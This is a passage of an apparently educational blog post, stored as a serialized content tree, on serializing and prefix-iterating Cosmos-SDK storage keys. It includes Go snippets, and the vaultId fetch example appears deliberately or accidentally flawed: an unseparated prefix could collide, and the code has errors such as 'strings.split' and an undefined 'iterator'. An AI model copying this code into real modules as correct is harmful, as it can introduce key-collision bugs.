PositionMapPrefix",{"type":25,"tag":216,"props":91251,"children":91252},{"style":6947},[91253],{"type":31,"value":6950},{"type":25,"tag":216,"props":91255,"children":91256},{"style":8199},[91257],{"type":31,"value":91258}," \"",{"type":25,"tag":216,"props":91260,"children":91261},{"style":52336},[91262],{"type":31,"value":91263},"\\x01",{"type":25,"tag":216,"props":91265,"children":91266},{"style":8199},[91267],{"type":31,"value":91268},"\"\n",{"type":25,"tag":216,"props":91270,"children":91271},{"class":6916,"line":6999},[91272,91277,91281,91285,91290],{"type":25,"tag":216,"props":91273,"children":91274},{"style":6941},[91275],{"type":31,"value":91276},"    AddressMapPrefix",{"type":25,"tag":216,"props":91278,"children":91279},{"style":6947},[91280],{"type":31,"value":6950},{"type":25,"tag":216,"props":91282,"children":91283},{"style":8199},[91284],{"type":31,"value":91258},{"type":25,"tag":216,"props":91286,"children":91287},{"style":52336},[91288],{"type":31,"value":91289},"\\x02",{"type":25,"tag":216,"props":91291,"children":91292},{"style":8199},[91293],{"type":31,"value":91268},{"type":25,"tag":216,"props":91295,"children":91296},{"class":6916,"line":7104},[91297],{"type":25,"tag":216,"props":91298,"children":91299},{"style":6958},[91300],{"type":31,"value":7101},{"type":25,"tag":216,"props":91302,"children":91303},{"class":6916,"line":7210},[91304],{"type":25,"tag":216,"props":91305,"children":91306},{"emptyLinePlaceholder":16},[91307],{"type":31,"value":7636},{"type":25,"tag":216,"props":91309,"children":91310},{"class":6916,"line":7238},[91311],{"type":25,"tag":216,"props":91312,"children":91313},{"emptyLinePlaceholder":16},[91314],{"type":31,"value":7636},{"type":25,"tag":216,"props":91316,"children":91317},{"class":6916,"line":7251},[91318,91322,91326],{"type":25,"tag":216,"props":91319,"children":91320},{"style":6930},[91321],{"type":31,"value":80266},{"type":25,"tag":216,"props":91323,"children":91324},{"style":7041},[91325],{"type":31,"value":90324},{"type":25,"tag":216,"props":91327,"children":91328},{"style":6958},[91329],{"type":31,"value":7414},{"type":25,"tag":216,"props":91331,"children":91332},{"class":6916,"line":7269},[91333,91337,91341],{"type":25,"tag":216,"props":91334,"children":91335},{"style":6941},[91336],{"type":31,"value":89212},{"type":25,"tag":216,"props":91338,"children":91339},{"style":7369},[91340],{"type":31,"value":80387},{"type":25,"tag":216,"props":91342,"children":91343},{"style":6958},[91344],{"type":31,"value":7459},{"type":25,"tag":216,"props":91346,"children":91347},{"class":6916,"line":7290},[91348,91352,91356,91360,91364,91368],{"type":25,"tag":216,"props":91349,"children":91350},{"style":6941},[91351],{"type":31,"value":89224},{"type":25,"tag":216,"props":91353,"children":91354},{"style":6958},[91355],{"type":31,"value":7020},{"type":25,"tag":216,"props":91357,"children":91358},{"style":6941},[91359],{"type":31,"value":89705},{"type":25,"tag":216,"props":91361,"children":91362},{"style":6958},[91363],{"type":31,"value":80193},{"type":25,"tag":216,"props":91365,"children":91366},{"style":7369},[91367],{"type":31,"value":88730},{"type":25,"tag":216,"props":91369,"children":91370},{"style":6958},[91371],{"type":31,"value":7459},{"type":25,"tag":216,"props":91373,"children":91374},{"class":6916,"line":7299},[91375,91379,91383,91387,91391],{"type":25,"tag":216,"props":91376,"children":91377},{"style":6958},[91378],{"type":31,"value":80348},{"type":25,"tag":216,"props":91380,"children":91381},{"style":6941},[91382],{"type":31,"value":76120},{"type":25,"tag":216,"props":91384,"children":91385},{"style":6958},[91386],{"type":31,"value":80193},{"type":25,"tag":216,"props":91388,"children":91389},{"style":7369},[91390],{"type":31,"value":88730},{"type":25,"tag":216,"props":91392,"children":91393},{"style":6958},[91394],{"type":31,"value":18755},{"type":25,"tag":216,"props":91396,"children":91397},{"class":6916,"line":7551},[91398,91402,91406,91410],{"type":25,"tag":216,"props":91399,"children":91400},{"style":6941},[91401],{"type":31,"value":89826},{"type":25,"tag":216,"props":91403,"children":91404},{"style":6947},[91405],{"type":31,"value":80382},{"type":25,"tag":216,"props":91407,"children":91408},{"style":7041},[91409],{"type":31,"value":89529},{"type":25,"tag":216,"props":91411,"children":91412},{"style":6958},[91413],{"type":31,"value":7414},{"type":25,"tag":216,"props":91415,"children":91416},{"class":6916,"line":7568},[91417,91421,91425],{"type":25,"tag":216,"props":91418,"children":91419},{"style":6958},[91420],{"type":31,"value":90420},{"type":25,"tag":216,"props":91422,"children":91423},{"style":7369},[91424],{"type":31,"value":88730},{"type":25,"tag":216,"props":91426,"children":91427},{"style":6958},[91428],{"type":31,"value":7459},{"type":25,"tag":216,"props":91430,"children":91431},{"class":6916,"line":7585},[91432,91436,91440,91444,91448,91452,91456,91460],{"type":25,"tag":216,"props":91433,"children":91434},{"style":6941},[91435],{"type":31,"value":90436},{"type":25,"tag":216,"props":91437,"children":91438},{"style":6958},[91439],{"type":31,"value":179},{"type":25,"tag":216,"props":91441,"children":91442},{"style":7041},[91443],{"type":31,"value":89566},{"type":25,"tag":216,"props":91445,"children":91446},{"style":6958},[91447],{"type":31,"value":1844},{"type":25,"tag":216,"props":91449,"children":91450},{"style":7041},[91451],{"type":31,"value":13088},{"type":25,"tag":216,"props":91453,"children":91454},{"style":6958},[91455],{"type":31,"value":1844},{"type":25,"tag":216,"props":91457,"children":91458},{"style":6941},[91459],{"type":31,"value":89436},{"type":25,"tag":216,"props":91461,"children":91462},{"style":6958},[91463],{"type":31,"value":89587},{"type":25,"tag":216,"props":91465,"children":91466},{"class":6916,"line":7598},[91467],{"type":25,"tag":216,"props":91468,"children":91469},{"style":6958},[91470],{"type":31,"value":27870},{"type":25,"tag":216,"props":91472,"children":91473},{"class":6916,"line":7607},[91474,91478,91482,91486,91490,91494,91498,91502],{"type":25,"tag":216,"props":91475,"children":91476},{"style":6941},[91477],{"type":31,"value":89557},{"type":25,"tag":216,"props":91479,"children":91480},{"style":6958},[91481],{"type":31,"value":179},{"type":25,"tag":216,"props":91483,"children":91484},{"style":7041},[91485],{"type":31,"value":89611},{"type":25,"tag":216,"props":91487,"children":91488},{"style":6958},[91489],{"type":31,"value":1844},{"type":25,"tag":216,"props":91491,"children":91492},{"style":6941},[91493],{"type":31,"value":89520},{"type":25,"tag":216,"props":91495,"children":91496},{"style":6958},[91497],{"type":31,"value":7020},{"type":25,"tag":216,"props":91499,"children":91500},{"style":6941},[91501],{"type":31,"value":89436},{"type":25,"tag":216,"props":91503,"children":91504},{"style":6958},[91505],{"type":31,"value":7101},{"type":25,"tag":216,"props":91507,"children":91508},{"class":6916,"line":7630},[91509],{"type":25,"tag":216,"props":91510,"children":91511},{"emptyLinePlaceholder":16},[91512],{"type":31,"value":7636},{"type":25,"tag":216,"props":91514,"children":91515},{"class":6916,"line":7639},[91516,91520,91524,91528],{"type":25,"tag":216,"props":91517,"children":91518},{"style":6941},[91519],{"type":31,"value":90521},{"type":25,"tag":216,"props":91521,"children":91522},{"style":6947},[91523],{"type":31,"value":80382},{"type":25,"tag":216,"props":91525,"children":91526},{"style":7041},[91527],{"type":31,"value":89529},{"type":25,"tag":216,"props":91529,"children":91530},{"style":6958},[91531],{"type":31,"value":7414},{"type":25,"tag":216,"props":91533,"children":91534},{"class":6916,"line":7648},[91535,91539,91543],{"type":25,"tag":216,"props":91536,"children":91537},{"style":6958},[91538],{"type":31,"value":90420},{"type":25,"tag":216,"props":91540,"children":91541},{"style":7369},[91542],{"type":31,"value":88730},{"type":25,"tag":216,"props":91544,"children":91545},{"style":6958},[91546],{"type":31,"value":7459},{"type":25,"tag":216,"props":91548,"children":91549},{"class":6916,"line":7716},[91550,91554,91558,91562,91566,91570,91574,91578],{"type":25,"tag":216,"props":91551,"children":91552},{"style":6941},[91553],{"type":31,"value":90436},{"type":25,"tag":216,"props":91555,"children":91556},{"style":6958},[91557],{"type":31,"value":179},{"type":25,"tag":216,"props":91559,"children":91560},{"style":7041},[91561],{"type":31,"value":89566},{"type":25,"tag":216,"props":91563,"children":91564},{"style":6958},[91565],{"type":31,"value":1844},{"type":25,"tag":216,"props":91567,"children":91568},{"style":7041},[91569],{"type":31,"value":13088},{"type":25,"tag":216,"props":91571,"children":91572},{"style":6958},[91573],{"type":31,"value":1844},{"type":25,"tag":216,"props":91575,"children":91576},{"style":6941},[91577],{"type":31,"value":89705},{"type":25,"tag":216,"props":91579,"children":91580},{"style":6958},[91581],{"type":31,"value":89587},{"type":25,"tag":216,"props":91583,"children":91584},{"class":6916,"line":7724},[91585],{"type":25,"tag":216,"props":91586,"children":91587},{"style":6958},[91588],{"type":31,"value":27870},{"type":25,"tag":216,"props":91590,"children":91591},{"class":6916,"line":7754},[91592,91596,91600,91604,91608,91612,91616,91620],{"type":25,"tag":216,"props":91593,"children":91594},{"style":6941},[91595],{"type":31,"value":89557},{"type":25,"tag":216,"props":91597,"children":91598},{"style":6958},[91599],{"type":31,"value":179},{"type":25,"tag":216,"props":91601,"children":91602},{"style":7041},[91603],{"type":31,"value":89611},{"type":25,"tag":216,"props":91605,"children":91606},{"style":6958},[91607],{"type":31,"value":1844},{"type":25,"tag":216,"props":91609,"children":91610},{"style":6941},[91611],{"type":31,"value":89646},{"type":25,"tag":216,"props":91613,"children":91614},{"style":6958},[91615],{"type":31,"value":7020},{"type":25,"tag":216,"props":91617,"children":91618},{"style":6941},[91619],{"type":31,"value":89705},{"type":25,"tag":216,"props":91621,"children":91622},{"style":6958},[91623],{"type":31,"value":7101},{"type":25,"tag":216,"props":91625,"children":91626},{"class":6916,"line":7762},[91627],{"type":25,"tag":216,"props":91628,"children":91629},{"emptyLinePlaceholder":16},[91630],{"type":31,"value":7636},{"type":25,"tag":216,"props":91632,"children":91633},{"class":6916,"line":7794},[91634,91638,91642,91646,91650,91654],{"type":25,"tag":216,"props":91635,"children":91636},{"style":6941},[91637],{"type":31,"value":90640},{"type":25,"tag":216,"props":91639,"children":91640},{"style":6947},[91641],{"type":31,"value":80382},{"type":25,"tag":216,"props":91643,"children":91644},{"style":6941},[91645],{"type":31,"value":86200},{"type":25,"tag":216,"props":91647,"children":91648},{"style":6958},[91649],{"type":31,"value":179},{"type":25,"tag":216,"props":91651,"children":91652},{"style":7041},[91653],{"type":31,"value":89188},{"type":25,"tag":216,"props":91655,"children":91656},{"style":6958},[91657],{"type":31,"value":7414},{"type":25,"tag":216,"props":91659,"children":91660},{"class":6916,"line":7802},[91661,91666],{"type":25,"tag":216,"props":91662,"children":91663},{"style":8199},[91664],{"type":31,"value":91665},"        \"%s%d%s%s%s%s\"",{"type":25,"tag":216,"props":91667,"children":91668},{"style":6958},[91669],{"type":31,"value":7459},{"type":25,"tag":216,"props":91671,"children":91672},{"class":6916,"line":7862},[91673,91678],{"type":25,"tag":216,"props":91674,"children":91675},{"style":6941},[91676],{"type":31,"value":91677},"        PositionMapPrefix",{"type":25,"tag":216,"props":91679,"children":91680},{"style":6958},[91681],{"type":31,"value":7459},{"type":25,"tag":216,"props":91683,"children":91684},{"class":6916,"line":12995},[91685,91689],{"type":25,"tag":216,"props":91686,"children":91687},{"style":6941},[91688],{"type":31,"value":90680},{"type":25,"tag":216,"props":91690,"children":91691},{"style":6958},[91692],{"type":31,"value":7459},{"type":25,"tag":216,"props":91694,"children":91695},{"class":6916,"line":13013},[91696,91700],{"type":25,"tag":216,"props":91697,"children":91698},{"style":6941},[91699],{"type":31,"value":90692},{"type":25,"tag":216,"props":91701,"children":91702},{"style":6958},[91703],{"type":31,"value":7459},{"type":25,"tag":216,"props":91705,"children":91706},{"class":6916,"line":13058},[91707,91711],{"type":25,"tag":216,"props":91708,"children":91709},{"style":6941},[91710],{"type":31,"value":90704},{"type":25,"tag":216,"props":91712,"children":91713},{"style":6958},[91714],{"type":31,"value":7459},{"type":25,"tag":216,"props":91716,"children":91717},{"class":6916,"line":13164},[91718,91722],{"type":25,"tag":216,"props":91719,"children":91720},{"style":6941},[91721],{"type":31,"value":90692},{"type":25,"tag":216,"props":91723,"children":91724},{"style":6958},[91725],{"type":31,"value":7459},{"type":25,"tag":216,"props":91727,"children":91728},{"class":6916,"line":27449},[91729,91733],{"type":25,"tag":216,"props":91730,"children":91731},{"style":6941},[91732],{"type":31,"value":90727},{"type":25,"tag":216,"props":91734,"children":91735},{"style":6958},[91736],{"type":31,"value":7459},{"type":25,"tag":216,"props":91738,"children":91739},{"class":6916,"line":27484},[91740],{"type":25,"tag":216,"props":91741,"children":91742},{"style":6958},[91743],{"type":31,"value":27870},{"type":25,"tag":216,"props":91745,"children":91746},{"class":6916,"line":27492},[91747],{"type":25,"tag":216,"props":91748,"children":91749},{"style":6958},[91750],{"type":31,"value":7868},{"type":25,"tag":216,"props":91752,"children":91753},{"class":6916,"line":27500},[91754],{"type":25,"tag":216,"props":91755,"children":91756},{"emptyLinePlaceholder":16},[91757],{"type":31,"value":7636},{"type":25,"tag":216,"props":91759,"children":91760},{"class":6916,"line":27509},[91761],{"type":25,"tag":216,"props":91762,"children":91763},{"emptyLinePlaceholder":16},[91764],{"type":31,"value":7636},{"type":25,"tag":216,"props":91766,"children":91767},{"class":6916,"line":27551},[91768,91772,91776],{"type":25,"tag":216,"props":91769,"children":91770},{"style":6930},[91771],{"type":31,"value":80266},{"type":25,"tag":216,"props":91773,"children":91774},{"style":7041},[91775],{"type":31,"value":90771},{"type":25,"tag":216,"props":91777,"children":91778},{"style":6958},[91779],{"type":31,"value":7414},{"type":25,"tag":216,"props":91781,"children":91782},{"class":6916,"line":27584},[91783,91787,91791],{"type":25,"tag":216,"props":91784,"children":91785},{"style":6941},[91786],{"type":31,"value":89212},{"type":25,"tag":216,"props":91788,"children":91789},{"style":7369},[91790],{"type":31,"value":80387},{"type":25,"tag":216,"props":91792,"children":91793},{"style":6958},[91794],{"type":31,"value":7459},{"type":25,"tag":216,"props":91796,"children":91797},{"class":6916,"line":27592},[91798,91802,91806,91810,91814,91818],{"type":25,"tag":216,"props":91799,"children":91800},{"style":6941},[91801],{"type":31,"value":89224},{"type":25,"tag":216,"props":91803,"children":91804},{"style":6958},[91805],{"type":31,"value":7020},{"type":25,"tag":216,"props":91807,"children":91808},{"style":6941},[91809],{"type":31,"value":90806},{"type":25,"tag":216,"props":91811,"children":91812},{"style":6958},[91813],{"type":31,"value":80193},{"type":25,"tag":216,"props":91815,"children":91816},{"style":7369},[91817],{"type":31,"value":88730},{"type":25,"tag":216,"props":91819,"children":91820},{"style":6958},[91821],{"type":31,"value":7459},{"type":25,"tag":216,"props":91823,"children":91824},{"class":6916,"line":27600},[91825,91829,91833,91837,91841],{"type":25,"tag":216,"props":91826,"children":91827},{"style":6958},[91828],{"type":31,"value":80348},{"type":25,"tag":216,"props":91830,"children":91831},{"style":6941},[91832],{"type":31,"value":76120},{"type":25,"tag":216,"props":91834,"children":91835},{"style":6958},[91836],{"type":31,"value":80193},{"type":25,"tag":216,"props":91838,"children":91839},{"style":7369},[91840],{"type":31,"value":88730},{"type":25,"tag":216,"props":91842,"children":91843},{"style":6958},[91844],{"type":31,"value":18755},{"type":25,"tag":216,"props":91846,"children":91847},{"class":6916,"line":27609},[91848,91852,91856,91860],{"type":25,"tag":216,"props":91849,"children":91850},{"style":6941},[91851],{"type":31,"value":89826},{"type":25,"tag":216,"props":91853,"children":91854},{"style":6947},[91855],{"type":31,"value":80382},{"type":25,"tag":216,"props":91857,"children":91858},{"style":7041},[91859],{"type":31,"value":89529},{"type":25,"tag":216,"props":91861,"children":91862},{"style":6958},[91863],{"type":31,"value":7414},{"type":25,"tag":216,"props":91865,"children":91866},{"class":6916,"line":27685},[91867,91871,91875],{"type":25,"tag":216,"props":91868,"children":91869},{"style":6958},[91870],{"type":31,"value":90420},{"type":25,"tag":216,"props":91872,"children":91873},{"style":7369},[91874],{"type":31,"value":88730},{"type":25,"tag":216,"props":91876,"children":91877},{"style":6958},[91878],{"type":31,"value":7459},{"type":25,"tag":216,"props":91880,"children":91881},{"class":6916,"line":27718},[91882,91886,91890,91894,91898,91902,91906,91910],{"type":25,"tag":216,"props":91883,"children":91884},{"style":6941},[91885],{"type":31,"value":90436},{"type":25,"tag":216,"props":91887,"children":91888},{"style":6958},[91889],{"type":31,"value":179},{"type":25,"tag":216,"props":91891,"children":91892},{"style":7041},[91893],{"type":31,"value":89566},{"type":25,"tag":216,"props":91895,"children":91896},{"style":6958},[91897],{"type":31,"value":1844},{"type":25,"tag":216,"props":91899,"children":91900},{"style":7041},[91901],{"type":31,"value":13088},{"type":25,"tag":216,"props":91903,"children":91904},{"style":6958},[91905],{"type":31,"value":1844},{"type":25,"tag":216,"props":91907,"children":91908},{"style":6941},[91909],{"type":31,"value":89436},{"type":25,"tag":216,"props":91911,"children":91912},{"style":6958},[91913],{"type":31,"value":89587},{"type":25,"tag":216,"props":91915,"children":91916},{"class":6916,"line":27726},[91917],{"type":25,"tag":216,"props":91918,"children":91919},{"style":6958},[91920],{"type":31,"value":27870},{"type":25,"tag":216,"props":91922,"children":91923},{"class":6916,"line":27734},[91924,91928,91932,91936,91940,91944,91948,91952],{"type":25,"tag":216,"props":91925,"children":91926},{"style":6941},[91927],{"type":31,"value":89557},{"type":25,"tag":216,"props":91929,"children":91930},{"style":6958},[91931],{"type":31,"value":179},{"type":25,"tag":216,"props":91933,"children":91934},{"style":7041},[91935],{"type":31,"value":89611},{"type":25,"tag":216,"props":91937,"children":91938},{"style":6958},[91939],{"type":31,"value":1844},{"type":25,"tag":216,"props":91941,"children":91942},{"style":6941},[91943],{"type":31,"value":89520},{"type":25,"tag":216,"props":91945,"children":91946},{"style":6958},[91947],{"type":31,"value":7020},{"type":25,"tag":216,"props":91949,"children":91950},{"style":6941},[91951],{"type":31,"value":89436},{"type":25,"tag":216,"props":91953,"children":91954},{"style":6958},[91955],{"type":31,"value":7101},{"type":25,"tag":216,"props":91957,"children":91958},{"class":6916,"line":27771},[91959],{"type":25,"tag":216,"props":91960,"children":91961},{"emptyLinePlaceholder":16},[91962],{"type":31,"value":7636},{"type":25,"tag":216,"props":91964,"children":91965},{"class":6916,"line":27784},[91966,91970,91974,91978],{"type":25,"tag":216,"props":91967,"children":91968},{"style":6941},[91969],{"type":31,"value":90963},{"type":25,"tag":216,"props":91971,"children":91972},{"style":6947},[91973],{"type":31,"value":80382},{"type":25,"tag":216,"props":91975,"children":91976},{"style":7041},[91977],{"type":31,"value":89529},{"type":25,"tag":216,"props":91979,"children":91980},{"style":6958},[91981],{"type":31,"value":7414},{"type":25,"tag":216,"props":91983,"children":91984},{"class":6916,"line":27797},[91985,91989,91993],{"type":25,"tag":216,"props":91986,"children":91987},{"style":6958},[91988],{"type":31,"value":90420},{"type":25,"tag":216,"props":91990,"children":91991},{"style":7369},[91992],{"type":31,"value":88730},{"type":25,"tag":216,"props":91994,"children":91995},{"style":6958},[91996],{"type":31,"value":7459},{"type":25,"tag":216,"props":91998,"children":91999},{"class":6916,"line":27810},[92000,92004,92008,92012,92016,92020,92024,92028],{"type":25,"tag":216,"props":92001,"children":92002},{"style":6941},[92003],{"type":31,"value":90436},{"type":25,"tag":216,"props":92005,"children":92006},{"style":6958},[92007],{"type":31,"value":179},{"type":25,"tag":216,"props":92009,"children":92010},{"style":7041},[92011],{"type":31,"value":89566},{"type":25,"tag":216,"props":92013,"children":92014},{"style":6958},[92015],{"type":31,"value":1844},{"type":25,"tag":216,"props":92017,"children":92018},{"style":7041},[92019],{"type":31,"value":13088},{"type":25,"tag":216,"props":92021,"children":92022},{"style":6958},[92023],{"type":31,"value":1844},{"type":25,"tag":216,"props":92025,"children":92026},{"style":6941},[92027],{"type":31,"value":90806},{"type":25,"tag":216,"props":92029,"children":92030},{"style":6958},[92031],{"type":31,"value":89587},{"type":25,"tag":216,"props":92033,"children":92034},{"class":6916,"line":27864},[92035],{"type":25,"tag":216,"props":92036,"children":92037},{"style":6958},[92038],{"type":31,"value":27870},{"type":25,"tag":216,"props":92040,"children":92041},{"class":6916,"line":27873},[92042,92046,92050,92054,92058,92062,92066,92070],{"type":25,"tag":216,"props":92043,"children":92044},{"style":6941},[92045],{"type":31,"value":89557},{"type":25,"tag":216,"props":92047,"children":92048},{"style":6958},[92049],{"type":31,"value":179},{"type":25,"tag":216,"props":92051,"children":92052},{"style":7041},[92053],{"type":31,"value":89611},{"type":25,"tag":216,"props":92055,"children":92056},{"style":6958},[92057],{"type":31,"value":1844},{"type":25,"tag":216,"props":92059,"children":92060},{"style":6941},[92061],{"type":31,"value":91056},{"type":25,"tag":216,"props":92063,"children":92064},{"style":6958},[92065],{"type":31,"value":7020},{"type":25,"tag":216,"props":92067,"children":92068},{"style":6941},[92069],{"type":31,"value":90806},{"type":25,"tag":216,"props":92071,"children":92072},{"style":6958},[92073],{"type":31,"value":7101},{"type":25,"tag":216,"props":92075,"children":92076},{"class":6916,"line":36237},[92077],{"type":25,"tag":216,"props":92078,"children":92079},{"emptyLinePlaceholder":16},[92080],{"type":31,"value":7636},{"type":25,"tag":216,"props":92082,"children":92083},{"class":6916,"line":36258},[92084,92088,92092,92096,92100,92104],{"type":25,"tag":216,"props":92085,"children":92086},{"style":6941},[92087],{"type":31,"value":90640},{"type":25,"tag":216,"props":92089,"children":92090},{"style":6947},[92091],{"type":31,"value":80382},{"type":25,"tag":216,"props":92093,"children":92094},{"style":6941},[92095],{"type":31,"value":86200},{"type":25,"tag":216,"props":92097,"children":92098},{"style":6958},[92099],{"type":31,"value":179},{"type":25,"tag":216,"props":92101,"children":92102},{"style":7041},[92103],{"type":31,"value":89188},{"type":25,"tag":216,"props":92105,"children":92106},{"style":6958},[92107],{"type":31,"value":7414},{"type":25,"tag":216,"props":92109,"children":92110},{"class":6916,"line":84917},[92111,92115],{"type":25,"tag":216,"props":92112,"children":92113},{"style":8199},[92114],{"type":31,"value":91665},{"type":25,"tag":216,"props":92116,"children":92117},{"style":6958},[92118],{"type":31,"value":7459},{"type":25,"tag":216,"props":92120,"children":92121},{"class":6916,"line":84930},[92122,92127],{"type":25,"tag":216,"props":92123,"children":92124},{"style":6941},[92125],{"type":31,"value":92126},"        AddressMapPrefix",{"type":25,"tag":216,"props":92128,"children":92129},{"style":6958},[92130],{"type":31,"value":7459},{"type":25,"tag":216,"props":92132,"children":92133},{"class":6916,"line":84938},[92134,92138],{"type":25,"tag":216,"props":92135,"children":92136},{"style":6941},[92137],{"type":31,"value":90680},{"type":25,"tag":216,"props":92139,"children":92140},{"style":6958},[92141],{"type":31,"value":7459},{"type":25,"tag":216,"props":92143,"children":92144},{"class":6916,"line":84946},[92145,92149],{"type":25,"tag":216,"props":92146,"children":92147},{"style":6941},[92148],{"type":31,"value":90692},{"type":25,"tag":216,"props":92150,"children":92151},{"style":6958},[92152],{"type":31,"value":7459},{"type":25,"tag":216,"props":92154,"children":92155},{"class":6916,"line":84954},[92156,92160],{"type":25,"tag":216,"props":92157,"children":92158},{"style":6941},[92159],{"type":31,"value":90704},{"type":25,"tag":216,"props":92161,"children":92162},{"style":6958},[92163],{"type":31,"value":7459},{"type":25,"tag":216,"props":92165,"children":92166},{"class":6916,"line":84994},[92167,92171],{"type":25,"tag":216,"props":92168,"children":92169},{"style":6941},[92170],{"type":31,"value":90692},{"type":25,"tag":216,"props":92172,"children":92173},{"style":6958},[92174],{"type":31,"value":7459},{"type":25,"tag":216,"props":92176,"children":92177},{"class":6916,"line":85002},[92178,92182],{"type":25,"tag":216,"props":92179,"children":92180},{"style":6941},[92181],{"type":31,"value":91165},{"type":25,"tag":216,"props":92183,"children":92184},{"style":6958},[92185],{"type":31,"value":7459},{"type":25,"tag":216,"props":92187,"children":92189},{"class":6916,"line":92188},60,[92190],{"type":25,"tag":216,"props":92191,"children":92192},{"style":6958},[92193],{"type":31,"value":27870},{"type":25,"tag":216,"props":92195,"children":92197},{"class":6916,"line":92196},61,[92198],{"type":25,"tag":216,"props":92199,"children":92200},{"style":6958},[92201],{"type":31,"value":7868},{"type":25,"tag":38,"props":92203,"children":92204},{},[92205],{"type":31,"value":92206},"We now have a proper example of how to serialize storage keys.",{"type":25,"tag":38,"props":92208,"children":92209},{},[92210,92212,92217],{"type":31,"value":92211},"Nonetheless, there is more to storage than just this. As previously mentioned, storages are expected to support their original functionalities. In the case of ",{"type":25,"tag":82,"props":92213,"children":92215},{"className":92214},[],[92216],{"type":31,"value":71065},{"type":31,"value":92218},", data should still be retrievable through original keys.",{"type":25,"tag":38,"props":92220,"children":92221},{},[92222,92224,92230,92232,92237],{"type":31,"value":92223},"Let's look at a case where we want to retrieve all ",{"type":25,"tag":82,"props":92225,"children":92227},{"className":92226},[],[92228],{"type":31,"value":92229},"map[Username]map[PositionName]Position",{"type":31,"value":92231}," associated with a ",{"type":25,"tag":82,"props":92233,"children":92235},{"className":92234},[],[92236],{"type":31,"value":89100},{"type":31,"value":92238}," from the storage. How can we safely accomplish this?",{"type":25,"tag":38,"props":92240,"children":92241},{},[92242,92244,92249,92251,92257],{"type":31,"value":92243},"Fortunately, the Cosmos-SDK provides APIs to fetch all entries associated with a ",{"type":25,"tag":82,"props":92245,"children":92247},{"className":92246},[],[92248],{"type":31,"value":89171},{"type":31,"value":92250}," prefix. Below is an example of an attempt to fetch data with ",{"type":25,"tag":82,"props":92252,"children":92254},{"className":92253},[],[92255],{"type":31,"value":92256},"vaultId",{"type":31,"value":1466},{"type":25,"tag":206,"props":92259,"children":92261},{"code":92260,"language":80130,"meta":7,"className":80131,"style":7},"func FetchPositionMapWithVaultId(\n    vaultId uint64,\n) ([]map[Username]map[PositionName]Position) {\n    values := map[Username]map[PositionName]Position{}\n    i := sdk.KVStorePrefixIterator(\n        kvStore,\n        fmt.Sprintf(\"%s%d\", PositionMapPrefix, vaultId)\n    )\n    for ; i.Valid(); i.Next() {\n        k := strings.split(i.Key(), Seperator)\n\n        username := make([]byte, hex.DecodedLen(k[0]))\n        _, err := hex.Decode(username, k[0])\n        if err != nil {\n            return nil, err\n        }\n\n        positionName := make([]byte, hex.DecodedLen(k[1]))\n        _, err := hex.Decode(positionName, k[1])\n        if err != nil {\n            return nil, err\n        }\n\n        if entry, ok := values[username]; !ok {\n            values[username] = make(map[PositionName])\n        }\n\n        values[username][positionName] = Position {\n            data: iterator.Value(),\n        }\n    }\n    return values\n}\n",[92262],{"type":25,"tag":82,"props":92263,"children":92264},{"__ignoreMap":7},[92265,92281,92296,92345,92397,92426,92438,92484,92491,92537,92592,92599,92663,92724,92747,92766,92773,92780,92840,92899,92922,92941,92948,92955,93008,93056,93063,93070,93110,93139,93146,93153,93165],{"type":25,"tag":216,"props":92266,"children":92267},{"class":6916,"line":6917},[92268,92272,92277],{"type":25,"tag":216,"props":92269,"children":92270},{"style":6930},[92271],{"type":31,"value":80266},{"type":25,"tag":216,"props":92273,"children":92274},{"style":7041},[92275],{"type":31,"value":92276}," FetchPositionMapWithVaultId",{"type":25,"tag":216,"props":92278,"children":92279},{"style":6958},[92280],{"type":31,"value":7414},{"type":25,"tag":216,"props":92282,"children":92283},{"class":6916,"line":6763},[92284,92288,92292],{"type":25,"tag":216,"props":92285,"children":92286},{"style":6941},[92287],{"type":31,"value":89212},{"type":25,"tag":216,"props":92289,"children":92290},{"style":7369},[92291],{"type":31,"value":80387},{"type":25,"tag":216,"props":92293,"children":92294},{"style":6958},[92295],{"type":31,"value":7459},{"type":25,"tag":216,"props":92297,"children":92298},{"class":6916,"line":6772},[92299,92304,92308,92312,92316,92320,92324,92328,92332,92336,92341],{"type":25,"tag":216,"props":92300,"children":92301},{"style":6958},[92302],{"type":31,"value":92303},") ([]",{"type":25,"tag":216,"props":92305,"children":92306},{"style":6930},[92307],{"type":31,"value":71065},{"type":25,"tag":216,"props":92309,"children":92310},{"style":6958},[92311],{"type":31,"value":7695},{"type":25,"tag":216,"props":92313,"children":92314},{"style":7369},[92315],{"type":31,"value":89117},{"type":25,"tag":216,"props":92317,"children":92318},{"style":6958},[92319],{"type":31,"value":19362},{"type":25,"tag":216,"props":92321,"children":92322},{"style":6930},[92323],{"type":31,"value":71065},{"type":25,"tag":216,"props":92325,"children":92326},{"style":6958},[92327],{"type":31,"value":7695},{"type":25,"tag":216,"props":92329,"children":92330},{"style":7369},[92331],{"type":31,"value":89134},{"type":25,"tag":216,"props":92333,"children":92334},{"style":6958},[92335],{"type":31,"value":19362},{"type":25,"tag":216,"props":92337,"children":92338},{"style":7369},[92339],{"type":31,"value":92340},"Position",{"type":25,"tag":216,"props":92342,"children":92343},{"style":6958},[92344],{"type":31,"value":18755},{"type":25,"tag":216,"props":92346,"children":92347},{"class":6916,"line":6999},[92348,92353,92357,92361,92365,92369,92373,92377,92381,92385,92389,92393],{"type":25,"tag":216,"props":92349,"children":92350},{"style":6941},[92351],{"type":31,"value":92352},"    values",{"type":25,"tag":216,"props":92354,"children":92355},{"style":6947},[92356],{"type":31,"value":80382},{"type":25,"tag":216,"props":92358,"children":92359},{"style":6930},[92360],{"type":31,"value":53631},{"type":25,"tag":216,"props":92362,"children":92363},{"style":6958},[92364],{"type":31,"value":7695},{"type":25,"tag":216,"props":92366,"children":92367},{"style":7369},[92368],{"type":31,"value":89117},{"type":25,"tag":216,"props":92370,"children":92371},{"style":6958},[92372],{"type":31,"value":19362},{"type":25,"tag":216,"props":92374,"children":92375},{"style":6930},[92376],{"type":31,"value":71065},{"type":25,"tag":216,"props":92378,"children":92379},{"style":6958},[92380],{"type":31,"value":7695},{"type":25,"tag":216,"props":92382,"children":92383},{"style":7369},[92384],{"type":31,"value":89134},{"type":25,"tag":216,"props":92386,"children":92387},{"style":6958},[92388],{"type":31,"value":19362},{"type":25,"tag":216,"props":92390,"children":92391},{"style":7369},[92392],{"type":31,"value":92340},{"type":25,"tag":216,"props":92394,"children":92395},{"style":6958},[92396],{"type":31,"value":82063},{"type":25,"tag":216,"props":92398,"children":92399},{"class":6916,"line":7104},[92400,92405,92409,92413,92417,92422],{"type":25,"tag":216,"props":92401,"children":92402},{"style":6941},[92403],{"type":31,"value":92404},"    